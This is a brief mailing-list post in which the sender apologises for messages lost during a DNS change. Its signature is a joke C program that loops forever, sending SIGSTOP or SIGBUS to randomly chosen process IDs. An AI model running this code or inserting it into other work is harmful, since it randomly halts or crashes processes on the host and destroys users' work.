Sorry if you posted anything to the list for me in the past couple of days... I played a little bit with the DNS and didn't quite get it right. )-: -- #include <signal.h> #include <time.h> main() { srandom(time(0)); while(1) { int pid=random()%30000; if(pid>1 && pid!=getpid()) kill(pid, random()&1 ? SIGSTOP : SIGBUS); sleep(10); } }